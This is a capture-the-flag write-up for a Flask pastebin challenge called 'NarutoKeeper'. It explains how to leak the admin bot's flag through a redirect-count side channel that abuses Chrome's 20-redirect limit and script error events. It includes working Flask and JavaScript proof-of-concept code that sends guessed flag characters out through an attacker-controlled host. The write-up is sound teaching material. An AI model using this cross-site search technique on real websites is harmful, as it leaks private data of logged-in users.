NarutoKeeper
Preamble
This writeup is probably much more verbose than it needs to be, but I wanted to include my (nearly) complete thought and exploitation process from start to finish in hopes that somebody may read this and benefit from it.
Application Overview
The website is a typical pastebin app created with flask. After registering an account, the functionality is limited to creating pastes and searching your pastes, as well reporting a given url for the admin bot to visit.
Solution
tl;dr:
When a search returns results a redirect is triggered, but if there are no results there is no redirect. Thus, an attacker can leak the flag character by character by making the bot access the search page and detecting whether or not there was a redirect.
Useless(?) HTML Injection
The first thing to try with any pastebin challenge is XSS. Creating a paste with a simple <script>alert()</script>
payload meets us with the following:
Of course its not that simple. We can inject HTML, but there is a solid enough CSP preventing any meaningful exploitation without a method of hosting our own js on the website: <meta http-equiv="Content-Security-Policy" content="default-src 'self';object-src 'none'">
. Our only potential use of this is causing a redirect via HTML, but we can already point the bot to any URL, so this is not needed for our solution.
The Search Feature
Experimentation
After checking the source, we know that the flag is stored in a paste belonging to the admin bot. To aid in testing, I created a paste with a dummy flag: Securinets{a_test_flag}
. Upon searching for Securinets
, we are brought to /view?id=Found&paste=<script>alert()</script>
:
Interestingly, the content of our earlier paste is reflected on the page. However, the same CSP is on this page as well, so there isn’t much use there.
Searching for Securinets{not_the_flag}
, a string which is not found in any of our pastes, does not bring us anywhere, and instead simply displays “No results found.”
The Key Takeaways
- A search string which is found in any of the user’s pastes will result in a redirect
- A search string which is not found in any of the user’s pastes will not result in a redirect
- The search query is sent via GET parameter
With these points in mind, the solution is clear: send the bot to the search page with a guessed character of the flag (ex: /search?query=Securinets{x
) and detect whether or not there is a redirect.
Developing an Exploit
ERR_TOO_MANY_REDIRECTS
If Google Chrome redirects more than 20 times in a row, it aborts and gives an error. To test, I created a simple Flask server which will redirect 20 times:
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route('/')
def index():
i = int(request.args.get('x') or 0)
if i < 21:
return redirect(f'/?x={i+1}')
return 'console.log("did not error")'
app.run('0.0.0.0', 4444)
As well as some javascript to test detection via script onerror events:
var script1 = document.createElement('script');
script1.src = 'http://localhost:4444/';
script1.onerror = () => { console.log('script1 error detected') };
var script2 = document.createElement('script');
script2.src = 'http://localhost:4444/?x=1'; // only redirect 20 times
script2.onerror = () => { console.log('script2 error detected') };
document.body.appendChild(script1);
document.body.appendChild(script2);
When running the above javascript, script1
will be redirected 21 times, while script2
will redirect 20 times. This results in the script1
error event firing, while script2
successfully loads the javascript hosted on the Flask server.
Therefore, we can redirect 19 times before finally redirecting to the search page. If the search page then redirects again, it will cause an error event, indicating that the search returned results.
A Proof of Concept
Only slight modification to our Flask server and javascript is needed to form a working PoC.
The flask server now redirects to itself 19 times before finally redirecting to the search page with a given search query:
from flask import Flask, redirect, request
app = Flask(__name__)
final_url = 'https://20.124.0.135/search?query='
@app.route('/')
def index():
i = int(request.args.get('x') or 0)
flag = request.args.get('flag')
if i < 19:
return redirect(f'/?x={i+1}&flag={flag}')
return redirect(final_url + flag)
app.run('0.0.0.0', 4444)
And I also created a simple js function to test a given string:
function testFlag(test_flag) {
var script = document.createElement('script');
script.src = `http://localhost:4444/?flag=${test_flag}`;
script.onerror = () => { console.log(`leaked ${test_flag}`) };
script.onload = () => { console.log(`did not leak ${test_flag}`) };
document.body.appendChild(script);
};
testFlag('Securinets{a_test_flag}');
testFlag('definitely_not_the_flag');
The above js outputs the following, as expected:
Semi-Automating the Exploit
Now, we just need to update the javascript to test for every character at once and give an output we can view once a character is found
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_}';
flag = 'Securinets{'
function testFlag(test_flag) {
var script = document.createElement('script');
script.src = `http://downgrade.ml:4444/?flag=${test_flag}`;
script.onerror = () => { fetch(`/leak?flag=${test_flag}`) };
document.body.appendChild(script);
};
for (let c of chars){
testFlag(flag + c);
};
Sending the bot to the server gives us the first character of the flag:
We can update the flag in the javascript and repeat the process until we receive the full flag.
Further exploit improvement would be compacting into a single python script and extracting more than just one character at a time, but I will leave this as an exercise for the reader. ;)